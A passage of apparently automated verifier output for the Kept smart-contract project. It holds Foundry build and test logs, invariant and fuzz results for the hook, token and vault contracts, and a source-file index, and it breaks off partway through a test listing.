test/KeptHookInvariant.t.sol:KeptHookTokenFirstInvariantTest\n[PASS]\nKeptHookTokenFirstInvariantTest invariants:\n[PASS] invariant_clockOpensOnceAndFeeNeverRises\n[PASS] invariant_everySweptWeiReachesTheRefereeFund\n[PASS] invariant_feeIsExactAndOnlyOnIMD\n[PASS] invariant_holdingsEqualChargedPlusDonatedMinusSwept\n[PASS] invariant_supplyFixedAndManagerSolvent\n KeptHookTokenFirstInvariantTest invariants (runs: 128, calls: 16384, reverts: 0)\n\n╭-----------------+-------------------+-------+---------+----------╮\n| Contract        | Selector          | Calls | Reverts | Discards |\n+==================================================================+\n| KeptHookHandler | donate            | 1995  | 0       | 0        |\n|-----------------+-------------------+-------+---------+----------|\n| KeptHookHandler | liquidity         | 2047  | 0       | 0        |\n|-----------------+-------------------+-------+---------+----------|\n| KeptHookHandler | swap              | 6124  | 0       | 0        |\n|-----------------+-------------------+-------+---------+----------|\n| KeptHookHandler | sweep             | 2010  | 0       | 0        |\n|-----------------+-------------------+-------+---------+----------|\n| KeptHookHandler | sweepDuringUnlock | 2055  | 0       | 0        |\n|-----------------+-------------------+-------+---------+----------|\n| KeptHookHandler | wait              | 2153  | 0       | 0        |\n╰-----------------+-------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 9999999000000000000004647\n  Bound result 1805\n  Bound result 2767\n  Bound result 289\n  Bound result 15214\n  Bound result 9999999000000000000003541\n  Bound result 512\n  Bound result 9917\n  Bound result 6697197292956097118455\n  Bound result 539\n  Bound result 323\n  Bound result 7821\n  Bound result 30\n  Bound result 13\n  Bound result 15\n  Bound result 12499\n  Bound result 193\n  Bound result 1662\n  Bound result 4305965420114601998233742\n  Bound result 4167\n  Bound result 1\n  Bound result 90\n  Bound result 2577\n  Bound result 2616616030\n  Bound result 8\n  Bound result 979193630616991900335788\n  Bound result 14176\n  Bound result 2\n  Bound result 1059\n  Bound result 240\n  Bound result 414\n  Bound result 2832519642\n  Bound result 172800\n  Bound result 167\n  Bound result 6967\n  Bound result 209\n  Bound result 51966\n  Bound result 2159667343898957950394209\n  Bound result 7681\n  Bound result 30\n  Bound result 10000000000000000000\n  Bound result 14985\n  Bound result 9999999000000000000458763\n  Bound result 255\n  Bound result 146096\n  Bound result 40\n  Bound result 4090521129732816642535200\n  Bound result 16918\n  Bound result 2024493548\n  Bound result 3806313402689471641550849\n  Bound result 3463463374607431768211456\n  Bound result 691200\n  Bound result 6804\n  Bound result 2940\n  Bound result 13256\n  Bound result 13456\n  Bound result 255\n  Bound result 4999999999999999999999997\n  Bound result 4225\n  Bound result 462\n  Bound result 19359\n  Bound result 692\n  Bound result 1811576279247095857152\n  Bound result 544\n  Bound result 2306351129032267538350781\n  Bound result 1625\n  Bound result 1152921504606846976\n  Bound result 2742782055789615656068097\n  Bound result 294\n  Bound result 753\n  Bound result 897\n  Bound result 192\n  Bound result 1995271546940275\n  Bound result 1342685674417029078096895\n  Bound result 7\n  Bound result 1\n  Bound result 1728000\n  Bound result 4294967297\n  Bound result 1800003600\n  Bound result 6430481194736580\n  Bound result 1752\n  Bound result 883\n  Bound result 1572910972765695679421778\n  Bound result 6000000000000000000\n  Bound result 720171484\n  Bound result 252\n  Bound result 824\n  Bound result 5000000000000000000\n  Bound result 5132985026602690415567171\n  Bound result 7640\n  Bound result 5728\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.91s (5.91s CPU time)\n\nRan 1 test for test/VaultInvariant.t.sol:VaultInvariantTest\n[PASS]\nVaultInvariantTest invariants:\n[PASS] invariant_imdAccounted\n[PASS] invariant_settledMilestonesHaveOutcome\n[PASS] invariant_tokensConserved\n VaultInvariantTest invariants (runs: 128, calls: 16384, reverts: 0)\n\n╭--------------+----------+-------+---------+----------╮\n| Contract     | Selector | Calls | Reverts | Discards |\n+======================================================+\n| VaultHandler | answer   | 1799  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | check    | 1805  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | clear    | 1828  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | create   | 1783  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | donate   | 1845  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | fund     | 1806  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | settle   | 1814  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | wait     | 1874  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | withdraw | 1830  | 0       | 0        |\n╰--------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 86937\n  Bound result 1432\n  Bound result 1\n  Bound result 4078\n  Bound result 1799\n  Bound result 1599\n  Bound result 8886\n  Bound result 1\n  Bound result 563811617509869948\n  Bound result 1\n  Bound result 221218\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 2430097\n  Bound result 1\n  Bound result 20\n  Bound result 4\n  Bound result 16387\n  Bound result 2018\n  Bound result 16387\n  Bound result 2018\n  Bound result 16387\n  Bound result 2018\n  Bound result 16387\n  Bound result 2018\n  Bound result 4725\n  Bound result 1\n  Bound result 1\n  Bound result 18\n  Bound result 2\n  Bound result 7200\n  Bound result 1482\n  Bound result 1\n  Bound result 2\n  Bound result 2\n  Bound result 1\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 1901944798448365367\n  Bound result 121945\n  Bound result 1\n  Bound result 2\n  Bound result 2\n  Bound result 1\n  Bound result 1244\n  Bound result 1\n  Bound result 14443\n  Bound result 2\n  Bound result 9999\n  Bound result 7853\n  Bound result 9999\n  Bound result 7853\n  Bound result 9763\n  Bound result 1\n  Bound result 483\n  Bound result 3\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 3\n  Bound result 2\n  Bound result 2\n  Bound result 3\n  Bound result 1\n  Bound result 5236\n  Bound result 1\n  Bound result 2\n  Bound result 512\n  Bound result 222400\n  Bound result 4\n  Bound result 104886\n  Bound result 827\n  Bound result 104886\n  Bound result 827\n  Bound result 104886\n  Bound result 827\n  Bound result 104886\n  Bound result 827\n  Bound result 1800\n  Bound result 2\n  Bound result 1\n  Bound result 860411\n  Bound result 1539\n  Bound result 845\n  Bound result 5\n  Bound result 816850279\n  Bound result 5\n  Bound result 1\n  Bound result 12966\n  Bound result 3\n  Bound result 861001\n  Bound result 17099\n  Bound result 861001\n  Bound result 17099\n  Bound result 861001\n  Bound result 17099\n  Bound result 1259\n  Bound result 3\n  Bound result 4227495887\n  Bound result 4\n  Bound result 3\n  Bound result 19467\n  Bound result 724564462853683301842945\n  Bound result 19467\n  Bound result 724564462853683301842945\n  Bound result 19467\n  Bound result 724564462853683301842945\n  Bound result 15319\n  Bound result 3\n  Bound result 5366\n  Bound result 6\n  Bound result 8835\n  Bound result 7\n  Bound result 4\n  Bound result 290833921052909651\n  Bound result 5\n  Bound result 8630\n  Bound result 6\n  Bound result 6\n  Bound result 2\n  Bound result 3\n  Bound result 2\n  Bound result 5\n  Bound result 6\n  Bound result 2\n  Bound result 42759\n  Bound result 3367\n  Bound result 4\n  Bound result 3\n  Bound result 1206303290563260269\n  Bound result 6\n  Bound result 1791534961\n  Bound result 2\n  Bound result 7\n  Bound result 7\n  Bound result 6\n  Bound result 6\n  Bound result 10193\n  Bound result 3\n  Bound result 120000\n  Bound result 4\n  Bound result 12904\n  Bound result 41\n  Bound result 12904\n  Bound result 41\n  Bound result 12904\n  Bound result 41\n  Bound result 12904\n  Bound result 41\n  Bound result 5614\n  Bound result 2\n  Bound result 6\n  Bound result 1\n  Bound result 860427\n  Bound result 140877024194983170\n  Bound result 0\n  Bound result 9\n  Bound result 9\n  Bound result 7\n  Bound result 306\n  Bound result 2\n  Bound result 20140\n  Bound result 2\n  Bound result 4\n  Bound result 860491\n  Bound result 10147\n  Bound result 860491\n  Bound result 10147\n  Bound result 860491\n  Bound result 10147\n  Bound result 860491\n  Bound result 10147\n  Bound result 802\n  Bound result 1\n  Bound result 2\n  Bound result 2099132830298280220\n  Bound result 1\n  Bound result 6\n  Bound result 4499\n  Bound result 10\n  Bound result 10\n  Bound result 3\n  Bound result 7767\n  Bound result 7526768903561293614\n  Bound result 7767\n  Bound result 7526768903561293614\n  Bound result 7767\n  Bound result 7526768903561293614\n  Bound result 7636\n  Bound result 10134\n  Bound result 8\n  Bound result 2082849318771142908\n  Bound result 9\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.48s (11.47s CPU time)\n\nRan 2 tests for test/VaultInvariant.t.sol:VaultHandlerSmokeTest\n[PASS]\nVaultHandlerSmokeTest invariants:\n[PASS] invariant_imdAccounted\n[PASS] invariant_settledMilestonesHaveOutcome\n[PASS] invariant_tokensConserved\n VaultHandlerSmokeTest invariants (runs: 128, calls: 16384, reverts: 0)\n\n╭--------------+----------+-------+---------+----------╮\n| Contract     | Selector | Calls | Reverts | Discards |\n+======================================================+\n| VaultHandler | answer   | 1799  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | check    | 1805  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | clear    | 1828  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | create   | 1783  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | donate   | 1845  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | fund     | 1806  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | settle   | 1814  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | wait     | 1874  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | withdraw | 1830  | 0       | 0        |\n╰--------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 86936\n  Bound result 3521045371\n  Bound result 3\n  Bound result 4078\n  Bound result 2014\n  Bound result 4078\n  Bound result 2014\n  Bound result 4078\n  Bound result 2014\n  Bound result 10038\n  Bound result 2286\n  Bound result 1\n  Bound result 563811617509869948\n  Bound result 1\n  Bound result 221218\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 2430097\n  Bound result 1\n  Bound result 20\n  Bound result 4\n  Bound result 16476\n  Bound result 482614076\n  Bound result 16476\n  Bound result 482614076\n  Bound result 16476\n  Bound result 482614076\n  Bound result 16476\n  Bound result 482614076\n  Bound result 6018\n  Bound result 2\n  Bound result 2\n  Bound result 18\n  Bound result 1\n  Bound result 7200\n  Bound result 1482\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 10303\n  Bound result 121945\n  Bound result 1\n  Bound result 2\n  Bound result 2\n  Bound result 1\n  Bound result 885\n  Bound result 2\n  Bound result 14562\n  Bound result 2\n  Bound result 9999\n  Bound result 8415\n  Bound result 9999\n  Bound result 8415\n  Bound result 8778\n  Bound result 1\n  Bound result 483\n  Bound result 3\n  Bound result 3\n  Bound result 3\n  Bound result 1\n  Bound result 3\n  Bound result 3\n  Bound result 2\n  Bound result 3\n  Bound result 3\n  Bound result 4319\n  Bound result 2\n  Bound result 2\n  Bound result 512\n  Bound result 222400\n  Bound result 4\n  Bound result 7012\n  Bound result 982500179145366895865485\n  Bound result 7012\n  Bound result 982500179145366895865485\n  Bound result 7012\n  Bound result 982500179145366895865485\n  Bound result 7012\n  Bound result 982500179145366895865485\n  Bound result 1596\n  Bound result 2\n  Bound result 1\n  Bound result 860411\n  Bound result 1481\n  Bound result 789\n  Bound result 5\n  Bound result 816850279\n  Bound result 5\n  Bound result 1\n  Bound result 13015\n  Bound result 3\n  Bound result 861001\n  Bound result 17018\n  Bound result 861001\n  Bound result 17018\n  Bound result 861001\n  Bound result 17018\n  Bound result 1243\n  Bound result 3\n  Bound result 4639\n  Bound result 4\n  Bound result 3\n  Bound result 19715\n  Bound result 114\n  Bound result 19715\n  Bound result 114\n  Bound result 19715\n  Bound result 114\n  Bound result 12838\n  Bound result 3\n  Bound result 6181\n  Bound result 6\n  Bound result 74434\n  Bound result 6\n  Bound result 4\n  Bound result 2252131879941506181\n  Bound result 6\n  Bound result 8928\n  Bound result 6\n  Bound result 6\n  Bound result 2\n  Bound result 3\n  Bound result 2\n  Bound result 5\n  Bound result 6\n  Bound result 2\n  Bound result 42759\n  Bound result 4737\n  Bound result 4\n  Bound result 3\n  Bound result 1930456304\n  Bound result 2\n  Bound result 264137256439221899\n  Bound result 2\n  Bound result 3\n  Bound result 7\n  Bound result 6\n  Bound result 6\n  Bound result 10302\n  Bound result 6\n  Bound result 120000\n  Bound result 4\n  Bound result 11770\n  Bound result 7526768903561293615\n  Bound result 11770\n  Bound result 7526768903561293615\n  Bound result 11770\n  Bound result 7526768903561293615\n  Bound result 11770\n  Bound result 7526768903561293615\n  Bound result 5551\n  Bound result 5\n  Bound result 6\n  Bound result 1\n  Bound result 860427\n  Bound result 140877024194983170\n  Bound result 0\n  Bound result 9\n  Bound result 9\n  Bound result 7\n  Bound result 10231\n  Bound result 2\n  Bound result 19492\n  Bound result 2\n  Bound result 3\n  Bound result 860491\n  Bound result 4718\n  Bound result 860491\n  Bound result 4718\n  Bound result 860491\n  Bound result 4718\n  Bound result 818\n  Bound result 6\n  Bound result 2\n  Bound result 81\n  Bound result 1\n  Bound result 6\n  Bound result 5760\n  Bound result 10\n  Bound result 10\n  Bound result 3\n  Bound result 8328\n  Bound result 16563\n  Bound result 8328\n  Bound result 16563\n  Bound result 8328\n  Bound result 16563\n  Bound result 7958\n  Bound result 2131\n  Bound result 8\n  Bound result 2082849318771142908\n  Bound result 8\n\n[PASS] test_handlerReachesPayoutAndBurn() (gas: 2028271)\nLogs:\n  Bound result 2\n  Bound result 7200\n  Bound result 1000000000000000000\n  Bound result 7200\n  Bound result 1000000000000000000\n  Bound result 2000000000000000000\n  Bound result 1\n  Bound result 1\n  Bound result 259200\n  Bound result 259200\n  Bound result 1\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 11.83s (11.83s CPU time)\n\nRan 21 test suites in 11.84s (39.77s CPU time): 199 tests passed, 0 failed, 1 skipped (200 total tests)\n","passed":true},{"durationMs":106,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KeptHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"KeptHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"KeptHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"KeptHook.sweep()\",\"KeptHook.unlockCallback(bytes)\",\"KeptToken.approve(address,uint256)\",\"KeptToken.transfer(address,uint256)\",\"KeptToken.transferFrom(address,address,uint256)\",\"KeptVault.cancelProtocol()\",\"KeptVault.check(uint256,uint8)\",\"KeptVault.check(uint256,uint8,uint256)\",\"KeptVault.clearStale(uint256,uint8)\",\"KeptVault.createPledge(address,address,string,(uint8,uint64,uint128,uint64,address,uint256,string,string,string)[],uint256)\",\"KeptVault.executeProtocol()\",\"KeptVault.fund(uint256,uint256)\",\"KeptVault.fundReferee(uint256)\",\"KeptVault.onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"KeptVault.proposeProtocol(address,bytes32,address)\",\"KeptVault.setOwner(address)\",\"KeptVault.setPanel(uint16,uint16)\",\"KeptVault.settle(uint256,uint8)\",\"KeptVault.withdrawBudget(uint256)\"],\"files\":{\".gitattributes\":2,\".gitignore\":5,\"ADAPTATION.md\":104,\"README.md\":119,\"dist/apple-touch-icon.png\":8,\"dist/assets/ccip-CaZZqoFJ.js\":1,\"dist/assets/ibm-plex-mono-latin-400-normal-CvHOgSBP.woff\":60,\"dist/assets/ibm-plex-mono-latin-400-normal-DMJ8VG8y.woff2\":58,\"dist/assets/ibm-plex-mono-latin-500-normal-CB9ihrfo.woff\":51,\"dist/assets/ibm-plex-mono-latin-500-normal-DSY6xOcd.woff2\":62,\"dist/assets/ibm-plex-mono-latin-600-normal-BgSNZQsw.woff2\":78,\"dist/assets/ibm-plex-mono-latin-600-normal-DWFSQ4vo.woff\":53,\"dist/assets/index-C4mfrCCb.js\":36,\"dist/assets/index-TiwfCIFz.css\":1,\"dist/assets/secp256k1-BNTI0_yw.js\":1,\"dist/assets/swarm-DuldE8ej.js\":83,\"dist/assets/utils-Bpv4vmSW.js\":1,\"dist/favicon-32.png\":4,\"dist/favicon.svg\":5,\"dist/icon-512.png\":8,\"dist/index.html\":23,\"docs/ORACLE_PREFLIGHT.json\":384,\"docs/OUTREACH.md\":60,\"docs/SPEC.md\":150,\"docs/SUBMISSION.md\":81,\"docs/VERIFICATION.md\":211,\"docs/brand/generate_logos.py\":62,\"docs/brand/kept-avatar-400.png\":12,\"docs/brand/kept-avatar.png\":34,\"docs/brand/kept-avatar.svg\":7,\"docs/brand/kept-logo-dark.png\":54,\"docs/brand/kept-logo-dark.svg\":61,\"docs/brand/kept-logo.png\":70,\"docs/brand/kept-logo.svg\":61,\"docs/brand/kept-mark-dark.png\":38,\"docs/brand/kept-mark-dark.svg\":59,\"docs/brand/kept-mark.png\":126,\"docs/brand/kept-mark.svg\":59,\"docs/brand/kept-stamp.png\":215,\"docs/brand/kept-stamp.svg\":64,\"docs/brand/kept-x-banner.png\":790,\"docs/brand/kept-x-banner@2x.png\":2387,\"docs/launches/vault-2172.adaptation.md\":150,\"docs/launches/vault-2172.launch.json\":18,\"docs/research.md\":61,\"docs/screenshots/local-home-light.png\":833,\"docs/screenshots/local-home.png\":768,\"docs/screenshots/local-how.png\":310,\"docs/screenshots/local-make-pledge.png\":323,\"docs/screenshots/local-mobile.png\":242,\"docs/screenshots/local-pledge.png\":332,\"foundry.toml\":21,\"remappings.txt\":4,\"script/LocalDemo.s.sol\":111,\"scripts/launch/.gitignore\":2,\"scripts/launch/README.md\":61,\"scripts/launch/launch.mjs\":474,\"scripts/launch/package-lock.json\":248,\"scripts/launch/package.json\":14,\"src/KeptHook.sol\":212,\"src/KeptToken.sol\":60,\"src/KeptVault.sol\":664,\"src/OracleAttestation.sol\":239,\"src/interfaces/IIntake.sol\":18,\"src/libraries/HookFlags.sol\":30,\"src/libraries/Questions.sol\":250,\"src/libraries/SpecifiedAmount.sol\":101,\"test/KeptHook.t.sol\":243,\"test/KeptHookFailurePaths.t.sol\":288,\"test/KeptHookInvariant.t.sol\":324,\"test/KeptHookLaunch.t.sol\":120,\"test/KeptToken.t.sol\":89,\"test/KeptTokenInvariant.t.sol\":145,\"test/KeptVault.t.sol\":639,\"test/KeptVaultActorsInvariant.t.sol\":492,\"test/KeptVaultAudit.t.sol\":243,\"test/KeptVaultFailurePaths.t.sol\":642,\"test/KeptVaultLaunch.t.sol\":100,\"test/KeptVaultTokenCompatibility.t.sol\":49,\"test/OracleConformance.t.sol\":119,\"test/RealAttestation.t.sol\":66,\"test/VaultInvariant.t.sol\":228,\"test/fork/Robinhood.t.sol\":170,\"test/helpers/HookFixture.sol\":171,\"test/helpers/TestRouter.sol\":70,\"test/helpers/VaultFixture.sol\":190,\"test/mocks/FeeToken.sol\":27,\"test/mocks/MockERC20.sol\":58,\"test/mocks/MockIntake.sol\":64,\"vercel.json\":20,\"web/README.md\":76,\"web/index.html\":19,\"web/package-lock.json\":1015,\"web/package.json\":18,\"web/public/apple-touch-icon.png\":8,\"web/public/favicon-32.png\":4,\"web/public/favicon.svg\":5,\"web/public/icon-512.png\":8,\"web/src/abi/KeptHook.json\":658,\"web/src/abi/KeptToken.json\":244,\"web/src/abi/KeptVault.json\":1940,\"web/src/chain.js\":335,\"web/src/config.js\":30,\"web/src/dom.js\":84,\"web/src/fx.js\":325,\"web/src/hero.js\":149,\"web/src/icons.js\":42,\"web/src/main.js\":1410,\"web/src/store.js\":88,\"web/src/styles.css\":772,\"web/src/swarm.js\":586,\"web/src/ui.js\":219,\"web/vite.config.js\":42},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"cdbe70deee8cf276646e70ce070a64b4a69ed2ce2880318b54eb60621e2e9c80","verifiedTreeHash":"e825bfc24aa05241ea2c9075219fd3441e3fb959","verifierVersion":"0.1.0+745c1db4"},{"checks":[{"durationMs":159195,"exitCode":0,"name":"build","output":"Compiling 120 files with Solc 0.8.26\nSolc 0.8.26 finished in 159.00s\nCompiler run successful!\n","passed":true},{"durationMs":22222,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RealAttestation.t.sol:RealAttestationTest\n[PASS] test_liveSignatureRecoversTheLiveSigner() (gas: 12095)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 437.22µs (307.65µs CPU time)\n\nRan 1 test for test/fork/Robinhood.t.sol:RobinhoodForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 650.73µs (0.00ns CPU time)\n\nRan 2 tests for test/KeptVaultTokenCompatibility.t.sol:KeptVaultTokenCompatibilityTest\n[PASS] test_standardTokenSharedPledgesSettleAndRefundIndependently() (gas: 1956008)\n[PASS] test_unsupportedBalanceShrinkCanStrandLastTrancheAndBudget() (gas: 1167841)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 3.90ms (2.24ms CPU time)\n\nRan 5 tests for test/KeptToken.t.sol:KeptTokenTest\n[PASS] testFuzz_transferConservesSupply(uint256) (runs: 256, μ: 80298, ~: 80716)\nLogs:\n  Bound result 222904432822423753118567532\n\n[PASS] test_approveAndTransferFrom() (gas: 325364)\n[PASS] test_metadataAndSupply() (gas: 54335)\n[PASS] test_noAdminSurface() (gas: 146892)\n[PASS] test_transfer() (gas: 143301)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 9.63ms (9.89ms CPU time)\n\nRan 1 test for test/KeptVaultActorsInvariant.t.sol:ActorsHandlerReachTest\n[PASS] test_handlerReachesEveryPath() (gas: 5595952)\nLogs:\n  Bound result 2\n  Bound result 7200\n  Bound result 1000000000000000000\n  Bound result 7200\n  Bound result 1000000000000000000\n  Bound result 2000000000000000000\n  Bound result 1\n  Bound result 7200\n  Bound result 500000000000000000\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 2\n  Bound result 42\n  Bound result 259200\n  Bound result 259200\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 2\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.60ms (10.01ms CPU time)\n\nRan 4 tests for test/OracleConformance.t.sol:OracleConformanceTest\n[PASS] test_acceptsTheProtocolSignature() (gas: 20019)\n[PASS] test_callbackSelectorIsCanonical() (gas: 3543)\n[PASS] test_digestMatchesTheProtocol() (gas: 13531)\n[PASS] test_keptVerdictFromTheVectorKey() (gas: 1339588)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 222.18ms (1.57ms CPU time)\n\nRan 19 tests for test/KeptHook.t.sol:KeptHookTokenFirstTest\n[PASS] testFuzz_crossTicks(bool,bool,uint96,uint16) (runs: 256, μ: 1263329, ~: 1265677)\nLogs:\n  Bound result 10\n  Bound result 899000000000000000049859727\n\n[PASS] testFuzz_dustSwapsAlwaysPay(bool,bool,uint16,uint16) (runs: 256, μ: 711510, ~: 710910)\nLogs:\n  Bound result 10\n  Bound result 14\n\n[PASS] testFuzz_feeAndPartialFills(bool,bool,uint96,uint32,bool) (runs: 256, μ: 718343, ~: 719896)\nLogs:\n  Bound result 3599\n  Bound result 5361\n\n[PASS] test_allModesAtOpeningMidpointAndAfter() (gas: 6094946)\n[PASS] test_callbacksOnlyManager() (gas: 120264)\n[PASS] test_constructorArgumentsInLaunchOrder() (gas: 56338)\n[PASS] test_constructorRejectsBadConfig() (gas: 10850)\n[PASS] test_dustSwapsRoundTheFeeUp() (gas: 3959276)\n[PASS] test_feeSchedule() (gas: 3379415)\n[PASS] test_noLiquidityNoFee() (gas: 207930)\n[PASS] test_onlyFactoryInitializes() (gas: 246570)\n[PASS] test_onlyOnePoolEver() (gas: 45867)\n[PASS] test_openingClockNeedsAnIMDLeg() (gas: 851731)\n[PASS] test_openingClockStartsAtFirstSwapNotInitialize() (gas: 1055157)\n[PASS] test_partialFillsAllModes() (gas: 2866439)\n[PASS] test_permissionBits() (gas: 5954)\n[PASS] test_sweepDuringUnlockDefers() (gas: 592854)\n[PASS] test_sweepFundsTheReferee() (gas: 1235363)\n[PASS] test_sweepIncludesDirectDonations() (gas: 178033)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 272.68ms (577.79ms CPU time)\n\nRan 3 tests for test/KeptVaultLaunch.t.sol:KeptVaultLaunchTest\n[PASS] test_constructorRejectsNativeValue() (gas: 2066681)\n[PASS] test_exactLaunchArgumentsDeployOnEmptyChainWithoutInitialization() (gas: 6852797)\n[PASS] test_runtimeFitsAndHasNoForbiddenOpcodes() (gas: 31002565)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 354.14ms (234.35ms CPU time)\n\nRan 19 tests for test/KeptHook.t.sol:KeptHookTest\n[PASS] testFuzz_crossTicks(bool,bool,uint96,uint16) (runs: 256, μ: 1272266, ~: 1242026)\nLogs:\n  Bound result 1095\n  Bound result 899000000000000000000000562\n\n[PASS] testFuzz_dustSwapsAlwaysPay(bool,bool,uint16,uint16) (runs: 256, μ: 723060, ~: 723116)\nLogs:\n  Bound result 1095\n  Bound result 561\n\n[PASS] testFuzz_feeAndPartialFills(bool,bool,uint96,uint32,bool) (runs: 256, μ: 728975, ~: 727728)\nLogs:\n  Bound result 30\n  Bound result 139300581170469283000006\n\n[PASS] test_allModesAtOpeningMidpointAndAfter() (gas: 6091571)\n[PASS] test_callbacksOnlyManager() (gas: 119549)\n[PASS] test_constructorArgumentsInLaunchOrder() (gas: 56338)\n[PASS] test_constructorRejectsBadConfig() (gas: 10850)\n[PASS] test_dustSwapsRoundTheFeeUp() (gas: 3977497)\n[PASS] test_feeSchedule() (gas: 3390447)\n[PASS] test_noLiquidityNoFee() (gas: 216704)\n[PASS] test_onlyFactoryInitializes() (gas: 245832)\n[PASS] test_onlyOnePoolEver() (gas: 45639)\n[PASS] test_openingClockNeedsAnIMDLeg() (gas: 854602)\n[PASS] test_openingClockStartsAtFirstSwapNotInitialize() (gas: 1070370)\n[PASS] test_partialFillsAllModes() (gas: 2874027)\n[PASS] test_permissionBits() (gas: 5954)\n[PASS] test_sweepDuringUnlockDefers() (gas: 603658)\n[PASS] test_sweepFundsTheReferee() (gas: 1240660)\n[PASS] test_sweepIncludesDirectDonations() (gas: 178033)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 354.35ms (714.44ms CPU time)\n\nRan 14 tests for test/KeptVaultAudit.t.sol:KeptVaultAuditTest\n[PASS] testFuzz_explicitPriceLimit(uint96,uint96) (runs: 256, μ: 887470, ~: 589240)\nLogs:\n  Bound result 3\n  Bound result 3\n\n[PASS] testFuzz_snapshotCheckClosesAtDeadline(uint8,uint32) (runs: 256, μ: 717503, ~: 704682)\nLogs:\n  Bound result 3\n  Bound result 3\n\n[PASS] testFuzz_snapshotRejectsVerdictIssuedAfterDeadline(uint8,uint32) (runs: 256, μ: 1557440, ~: 1563568)\nLogs:\n  Bound result 3\n  Bound result 20709\n\n[PASS] testFuzz_snapshotSignedAtDeadlineCanArriveLater(uint8,uint32) (runs: 256, μ: 1580491, ~: 1586605)\nLogs:\n  Bound result 3\n  Bound result 20709\n\n[PASS] test_checkOpenDistinguishesDefaultAndExplicitPriceCaps() (gas: 505594)\n[PASS] test_creatorCanCheckWhenAlsoBeneficiary() (gas: 1404603)\n[PASS] test_creatorCannotExhaustBeneficiaryAttempts() (gas: 1591611)\n[PASS] test_creatorCannotUseExplicitPriceCheckOrClearStaleAsSideEffect() (gas: 1243379)\n[PASS] test_defaultPriceCapRejectsRepricedIntake() (gas: 588079)\n[PASS] test_defaultPriceCapSurvivesTimelockedIntakeReplacement() (gas: 1376226)\n[PASS] test_explicitCapCanAcceptNewPriceAndRebateActualPrice() (gas: 1507048)\n[PASS] test_githubPublicationDeadlineStillAllowsGraceCheck() (gas: 1443934)\n[PASS] test_priceCapFailureDoesNotClearStaleCheck() (gas: 1282371)\n[PASS] test_zeroQuoteRemainsInvalidEvenWithExplicitCap() (gas: 497017)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 362.61ms (1.24s CPU time)\n\nRan 5 tests for test/KeptHookLaunch.t.sol:KeptHookLaunchTest\n[PASS] test_constructorsRejectNativeValue() (gas: 44461848)\n[PASS] test_hookDeploysOnAnEmptyChainWithLaunchArguments() (gas: 46643891)\n[PASS] test_hookRefusesAnAddressWithoutItsPermissionBits() (gas: 1074331)\n[PASS] test_runtimesFitAndHaveNoForbiddenOpcodes() (gas: 71769639)\n[PASS] test_tokenMintsTheWholeSupplyToItsDeployer() (gas: 25482)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 362.65ms (276.80ms CPU time)\n\nRan 43 tests for test/KeptVault.t.sol:KeptVaultTest\n[PASS] test_attestationCannotBeReplayedOnAnotherCheck() (gas: 1726979)\n[PASS] test_callbackOnlyFromIntake() (gas: 1254102)\n[PASS] test_callbackRejectsExpiredAttestation() (gas: 1264729)\n[PASS] test_callbackRejectsUnknownRequest() (gas: 